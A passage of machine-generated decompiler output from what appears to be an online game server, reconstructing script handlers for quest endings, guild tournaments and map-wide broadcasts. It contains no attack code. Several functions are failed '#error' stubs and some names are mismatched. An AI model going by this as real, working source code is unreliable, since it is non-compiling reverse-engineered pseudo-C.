&alchat.baseclass_0); LOBYTE(v47) = 3; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); LOBYTE(v47) = 2; _eh_vector_destructor_iterator_( &tkn, 0x100u, 7, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v5 = -1; goto LABEL_22; } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v47) = 2; _eh_vector_destructor_iterator_( &tkn, 0x100u, 7, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); LOBYTE(v47) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chat); LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); v47 = -1; v32 = "PineEventScriptNode::ShineChatWindow::sa_Step"; LABEL_24: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v32); __security_check_cookie((unsigned int)&v33 ^ v46); return result; } //----- (004DB010) -------------------------------------------------------- #error "4DB010: undefined or illegal type '#593' (funcsize=339)" //----- (004DB550) -------------------------------------------------------- #error "4DB550: undefined or illegal type '#593' (funcsize=178)" //----- (004DB820) -------------------------------------------------------- #error "4DB820: undefined or illegal type '#593' (funcsize=39)" //----- (004DB8D0) -------------------------------------------------------- #error "4DB8D0: undefined or illegal type '#593' (funcsize=61)" //----- (004DB9D0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step(PineEventScriptNode::ShineEndOfKingdomQuest *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { MobTacticElement::MobActionBase *v4; // eax@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 int v8; // eax@1 unsigned int v9; // edi@2 void *v10; // ecx@6 unsigned __int16 v11; // ax@8 unsigned __int16 v12; // si@8 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v5 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v4, (MobTacticElement::MobActionArgument *)exechandle); v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v5, &unk_63D200); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, "ShineEndOfKingdomQuest"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &trc_eol); v8 = *(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77288); if ( v8 ) v9 = *(_DWORD *)(v8 + 60); else v9 = -1; if ( v9 == -1 ) AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step : Invalid Shine Quest", 0); WorldManagerSession::wms_EndOfKQPacket(&stru_131DDCE4, v9); v10 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77288); if ( v10 ) FieldMap::fm_ClearObject(v10, 0xB0u); v11 = PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v12 = v11; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step"); return v12; } //----- (004DBB10) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineEndOfMID::sa_Step(PineEventScriptNode::ShineEndOfMID *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { MobTacticElement::MobActionBase *v4; // eax@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 Movie::Theater *v8; // ecx@1 char *v9; // eax@3 ZoneBaseSession *v10; // eax@5 void *v11; // ecx@6 unsigned __int16 result; // ax@8 FunctionEntarance _; // [sp+8h] [bp-20h]@1 char sMapName[4]; // [sp+Ch] [bp-1Ch]@1 int v15; // [sp+10h] [bp-18h]@1 int v16; // [sp+14h] [bp-14h]@1 unsigned int v17; // [sp+18h] [bp-10h]@1 int v18; // [sp+24h] [bp-4h]@1 v17 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineEndOfMID::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineEndOfMID::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineEndOfMID::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v18 = 0; v4 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v5 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v4, (MobTacticElement::MobActionArgument *)exechandle); v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v5, &unk_63D200); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, "ShineEndOfMID"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &trc_eol); v8 = *(Movie::Theater **)&ps->gap10114[4]; v16 = 0; v15 = 0; *(_DWORD *)sMapName = 0; if ( Movie::Theater::t_MapNameServer(v8, (Name3 *)sMapName) ) { v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -16377; *(_DWORD *)(v9 + 2) = *(_DWORD *)sMapName; *(_DWORD *)(v9 + 6) = v15; *(_DWORD *)(v9 + 10) = v16; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v10 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v10); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineEndOfMID::sa_Step : Packet Too Long", 14); } v11 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77288); if ( v11 ) FieldMap::fm_ClearObject(v11, 0xB0u); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineEndOfMID::sa_Step : Not map name", 0); } PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineEndOfMID::sa_Step"); __security_check_cookie((unsigned int)&_ ^ v17); return result; } //----- (004DBCB0) -------------------------------------------------------- #error "4DBCB0: undefined or illegal type '#593' (funcsize=137)" //----- (004DBEA0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineMIDClearCount::sa_Step(PineEventScriptNode::ShineMIDClearCount *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineMIDClearCount *v4; // ebp@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 Movie::Theater *v9; // ecx@1 char *v10; // esi@3 PineEventScriptNode::Identify *v11; // ebp@3 PineScriptToken *v12; // eax@3 PineScriptToken *v13; // eax@3 PineScriptToken *v14; // eax@5 PineScriptToken *v15; // eax@5 ZoneBaseSession *v16; // eax@9 unsigned __int16 result; // ax@11 FunctionEntarance _; // [sp+10h] [bp-120h]@1 char sMapName[4]; // [sp+14h] [bp-11Ch]@1 int v20; // [sp+18h] [bp-118h]@1 int v21; // [sp+1Ch] [bp-114h]@1 PineScriptToken tkn; // [sp+20h] [bp-110h]@3 unsigned int v23; // [sp+120h] [bp-10h]@1 int v24; // [sp+12Ch] [bp-4h]@1 v4 = this; v23 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineMIDClearCount::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineMIDClearCount::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineMIDClearCount::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v24 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineMIDClearCount"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); v9 = *(Movie::Theater **)&ps->gap10114[4]; v21 = 0; v20 = 0; *(_DWORD *)sMapName = 0; if ( Movie::Theater::t_MapNameServer(v9, (Name3 *)sMapName) ) { v10 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -16375; v10[14] = 0; *(_DWORD *)(v10 + 2) = *(_DWORD *)sMapName; *(_DWORD *)(v10 + 6) = v20; *(_DWORD *)(v10 + 10) = v21; PineScriptToken::pst_Clear(&tkn); v11 = &v4->baseclass_0.os_Ident; LOBYTE(v24) = 1; v12 = PineEventScriptNode::Identify::i_GetToken(v11, &tkn, ps); v13 = PineScriptToken::pst_ToLower(v12); if ( PineScriptToken::operator__(v13, index_OnLine.pst_Buffer) ) v10[14] = 1; v14 = PineEventScriptNode::Identify::i_GetToken(v11, &tkn, ps); v15 = PineScriptToken::pst_ToLower(v14); if ( PineScriptToken::operator__(v15, index_all.pst_Buffer) ) v10[14] = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 15) ) { v16 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v16); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineMIDClearCount::sa_Step : Packet Too Long", 15); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v24) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineMIDClearCount::sa_Step"); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineMIDClearCount::sa_Step : Not map name", 0); PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v24 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineMIDClearCount::sa_Step"); } __security_check_cookie((unsigned int)&_ ^ v23); return result; } //----- (004DC0E0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineEndOfGuildTournament::sa_Step(PineEventScriptNode::ShineEndOfGuildTournament *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineEndOfGuildTournament *v4; // edi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // edx@1 int v6; // eax@1 int v7; // eax@2 PineEventScriptNode::ScriptAtomVtbl *v8; // edx@2 int v9; // eax@2 int v10; // ebp@4 void *v11; // ecx@4 int v12; // edi@6 void *v13; // ecx@6 unsigned __int16 result; // ax@9 int v15; // [sp-4h] [bp-130h]@1 int winner; // [sp+10h] [bp-11Ch]@1 FunctionEntarance _; // [sp+14h] [bp-118h]@1 int v18; // [sp+18h] [bp-114h]@2 PineScriptToken tkn; // [sp+1Ch] [bp-110h]@1 unsigned int v20; // [sp+11Ch] [bp-10h]@1 int v21; // [sp+128h] [bp-4h]@1 v4 = this; v20 = (unsigned int)&winner ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineEndOfGuildTournament::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineEndOfGuildTournament::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineEndOfGuildTournament::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; PineScriptToken::pst_Clear(&tkn); v5 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v21) = 1; v6 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)(&tkn, ps); winner = v6 != 0; v15 = 0; if ( v6 != 0 && (v7 = PineScriptToken::pst_GetNumber(&tkn, 0), v8 = v4->baseclass_0.os_Express[1]->baseclass_0.vfptr, winner = v7, v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps), v18 = v9 != 0, v15 = 0, v9 != 0) ) { v10 = PineScriptToken::pst_GetNumber(&tkn, 0); v11 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77288); if ( v11 ) FieldMap::fm_ClearObject(v11, 0xB0u); v12 = *(_DWORD *)&ps->gap10114[4]; v13 = *(void **)(v12 + 77288); if ( v13 ) { FieldMap::fm_GuildTournamentEnd(v13, winner, v10); FieldMap::fm_GuildTournamentClear(*(_DWORD *)(v12 + 77288)); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v21) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v21 = -1; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindowRange::sa_Step", v15); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v21) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v21 = -1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineEndOfGuildTournament::sa_Step"); __security_check_cookie((unsigned int)&winner ^ v20); return result; } //----- (004DC290) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineGuildTorunamentResult::sa_Step(PineEventScriptNode::ShineGuildTorunamentResult *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineGuildTorunamentResult *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v8; // eax@1 int v9; // eax@1 MobTacticElement::MobActionBase *v10; // eax@3 MobTacticElement::MobActionBase *v11; // eax@3 int v12; // ebp@3 PineScriptToken *v13; // eax@3 PineScriptToken *v14; // eax@3 void *v15; // ecx@4 AxialListNearGateFind *v16; // ecx@5 PineScriptToken *v17; // eax@7 PineScriptToken *v18; // eax@7 int v19; // eax@8 int v20; // eax@10 char *v21; // edi@10 void *v22; // eax@10 void *v23; // ebp@10 int v24; // eax@12 __int16 v25; // ax@12 int v26; // ecx@12 __int16 v27; // dx@12 Movie::Theater *v28; // ecx@13 Movie::Theater *v29; // ecx@14 unsigned __int16 result; // ax@17 char *v31; // [sp-4h] [bp-14Ch]@2 int (__thiscall **alps)(AxialListProtocolSend *, #593 *, #593 *, int); // [sp+10h] [bp-138h]@1 __int16 v33; // [sp+14h] [bp-134h]@12 int v34; // [sp+18h] [bp-130h]@12 int v35; // [sp+1Ch] [bp-12Ch]@12 AxialListPacketBroadcast alchat; // [sp+20h] [bp-128h]@4 int v37; // [sp+2Ch] [bp-11Ch]@4 int v38; // [sp+30h] [bp-118h]@1 FunctionEntarance _; // [sp+34h] [bp-114h]@1 PineScriptToken tkn; // [sp+38h] [bp-110h]@1 unsigned int v41; // [sp+138h] [bp-10h]@1 int v42; // [sp+144h] [bp-4h]@1 v4 = this; v41 = (unsigned int)&alps ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineGuildTorunamentResult::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineGuildTorunamentResult::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineGuildTorunamentResult::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v42 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineGuildTorunamentResult"); PineScriptToken::pst_Clear(&tkn); v8 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v42) = 1; v9 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v8->sa_Calculate)(&tkn, ps); v38 = v9 != 0; if ( v9 != 0 ) { v10 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &stru_63450C); v11 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v10, (MobTacticElement::MobActionArgument *)&tkn); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v11, &trc_eol); v12 = PineScriptToken::pst_GetNumber(&tkn, 0); v13 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v14 = PineScriptToken::pst_ToLower(v13); if ( PineScriptToken::operator__(v14, index_suc.pst_Buffer) ) { AxialListProtocolSend::AxialListProtocolSend((AxialListProtocolSend *)&alchat, 22, 18); alchat.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGTEnd::_vftable_; v37 = v12; v15 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v42) = 2; if ( v15 ) { ShineObjectClass::ShineObject::so_AllInMap(v15, (int)&alchat, 0); alchat.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGTEnd::_vftable_; v16 = (AxialListNearGateFind *)&alchat; } else { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); alchat.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListGTEnd::_vftable_; v16 = (AxialListNearGateFind *)&alchat; } } else { v17 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v18 = PineScriptToken::pst_ToLower(v17); if ( PineScriptToken::operator__(v18, index_Result.pst_Buffer) ) { v19 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->baseclass_0.os_Express[1]->baseclass_0.vfptr->sa_Calculate)( &tkn, ps); v38 = v19 != 0; if ( v19 != 0 ) { v20 = PineScriptToken::pst_GetNumber(&tkn, 0); v21 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29922; *(_DWORD *)(v21 + 2) = v12; *(_DWORD *)(v21 + 6) = v20; v22 = (void *)Movie::Theater::GetFieldMap(*(Movie::Theater **)&ps->gap10114[4]); v23 = v22; if ( v22 && FieldMap::fm_GetGuildTournamentSystem(v22) ) { v24 = FieldMap::fm_GetGuildTournamentSystem(v23); GuildTournamentSystem::EndBattle((GuildTournamentSystem *)v24, (tGuildTournamentResult *)&alps); v25 = v33; v26 = v34; *(_DWORD *)(v21 + 10) = alps; v27 = v35; *((_WORD *)v21 + 7) = v25; *((_DWORD *)v21 + 4) = v26; *((_WORD *)v21 + 10) = v27; } AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 22); v28 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v42) = 3; Movie::Theater::t_AllInMap(v28, &alchat.baseclass_0); LOBYTE(v42) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no skip", 0); } goto LABEL_16; } AxialListProtocolSend::AxialListProtocolSend((AxialListProtocolSend *)&alps, 22, 19); alps = &AxialListGTEnd::_vftable_; v35 = v12; v29 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v42) = 4; Movie::Theater::t_AllInMap(v29, (AxialListIterator *)&alps); alps = &AxialListGTEnd::_vftable_; v16 = (AxialListNearGateFind *)&alps; } LOBYTE(v42) = 1; AxialListNearGateFind::_AxialListNearGateFind(v16); LABEL_16: PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v42) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v42 = -1; v31 = "PineEventScriptNode::ShineGuildTorunamentResult::sa_Step"; goto LABEL_17; } AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindHandle::sa_Step : no skip", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v42) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v42 = -1; v31 = "PineEventScriptNode::ShineGuildTorunamentResult::sa_Step"; LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v31); __security_check_cookie((unsigned int)&alps ^ v41); return result; } // 652EB8: using guessed type int (__thiscall *AxialListGTEnd___vftable_)(AxialListProtocolSend *this, #593 *, #593 *, int distancesquar); //----- (004DC620) -------------------------------------------------------- #error "4DC620: undefined or illegal type '#593' (funcsize=196)" //----- (004DC910) -------------------------------------------------------- #error "4DC910: undefined or illegal type '#593' (funcsize=179)" //----- (004DCBE0) -------------------------------------------------------- #error "4DCBE0: undefined or illegal type '#593' (funcsize=111)" //----- (004DCDA0) -------------------------------------------------------- #error "4DCDA0: undefined or illegal type '#593' (funcsize=106)" //----- (004DCF20) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineBriefEffect::sa_Step(PineEventScriptNode::ShineBriefEffect *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineBriefEffect *v4; // edi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // edx@1 int v6; // eax@1 char *v7; // ebp@3 PineScriptToken *v8; // eax@3 PineScriptToken *v9; // eax@3 void *v10; // ecx@4 unsigned __int16 result; // ax@9 char *v12; // [sp-4h] [bp-134h]@2 int v13; // [sp+Ch] [bp-124h]@1 AxialListPacketBroadcast alpb; // [sp+10h] [bp-120h]@4 FunctionEntarance _; // [sp+1Ch] [bp-114h]@1 PineScriptToken tkn; // [sp+20h] [bp-110h]@1 unsigned int v17; // [sp+120h] [bp-10h]@1 int v18; // [sp+12Ch] [bp-4h]@1 v4 = this; v17 = (unsigned int)&v13 ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineBriefEffect::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineBriefEffect::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineBriefEffect::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v18 = 0; PineScriptToken::pst_Clear(&tkn); v5 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v18) = 1; v6 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)(&tkn, ps); v13 = v6 != 0; if ( v6 != 0 ) { v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27664; v7[2] = PineScriptToken::pst_GetNumber(&tkn, 0); v8 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v9 = PineScriptToken::pst_ToLower(v8); if ( PineScriptToken::operator__(v9, index_all.pst_Buffer) ) { AxialListPacketBroadcast::AxialListPacketBroadcast(&alpb, &gpp, 3); v10 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v18) = 2; if ( v10 ) ShineObjectClass::ShineObject::so_AllInMap(v10, (int)&alpb, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v18) = 1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alpb); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v18) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v12 = "PineEventScriptNode::ShineBriefEffect::sa_Step"; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineFindPlayer::sa_Step : no part", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v18) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v12 = "PineEventScriptNode::ShineBriefEffect::sa_Step"; } --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); __security_check_cookie((unsigned int)&v13 ^ v17); return result; } //----- (004DD100) -------------------------------------------------------- #error "4DD100: undefined or illegal type '#593' (funcsize=123)" //----- (004DD2D0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ClearSaveLinkto::sa_Step(PineEventScriptNode::ClearSaveLinkto *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { Movie::Theater *v4; // ecx@1 void *v5; // eax@1 FunctionEntarance _; // [sp+8h] [bp-7Ch]@1 NPCManager::LinkInformTemplete LinkInfo; // [sp+Ch] [bp-78h]@1 unsigned int v9; // [sp+74h] [bp-10h]@1 int v10; // [sp+80h] [bp-4h]@1 v9 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ClearSaveLinkto::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ClearSaveLinkto::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ClearSaveLinkto::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memset(&LinkInfo, 0, 0x64u); v4 = *(Movie::Theater **)&ps->gap10114[4]; v10 = 0; LinkInfo.Party = 0; v5 = (void *)Movie::Theater::GetFieldMap(v4); FieldMap::fm_SetSaveLinktoData(v5, &LinkInfo); PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ClearSaveLinkto::sa_Step"); __security_check_cookie((unsigned int)&_ ^ v9); return (unsigned __int16)v5; } //----- (004DD3C0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::SendMapInMobInfo::sa_Step(PineEventScriptNode::SendMapInMobInfo *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::SendMapInMobInfo *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v9; // eax@1 int v10; // eax@1 unsigned __int16 v11; // ax@3 void *v12; // edi@3 char *v13; // eax@6 unsigned __int16 result; // ax@7 const char *v15; // [sp-8h] [bp-13Ch]@2 int v16; // [sp-4h] [bp-138h]@1 int v17; // [sp+10h] [bp-124h]@1 AxialListPacketBroadcast alchat; // [sp+14h] [bp-120h]@6 FunctionEntarance _; // [sp+20h] [bp-114h]@1 PineScriptToken tkn; // [sp+24h] [bp-110h]@1 unsigned int v21; // [sp+124h] [bp-10h]@1 int v22; // [sp+130h] [bp-4h]@1 v4 = this; v21 = (unsigned int)&v17 ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineWhoKillMe::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineWhoKillMe::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineWhoKillMe::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v22 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineWhoKillMe"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); PineScriptToken::pst_Clear(&tkn); v9 = v4->baseclass_0.baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v22) = 1; v10 = ((int (__stdcall 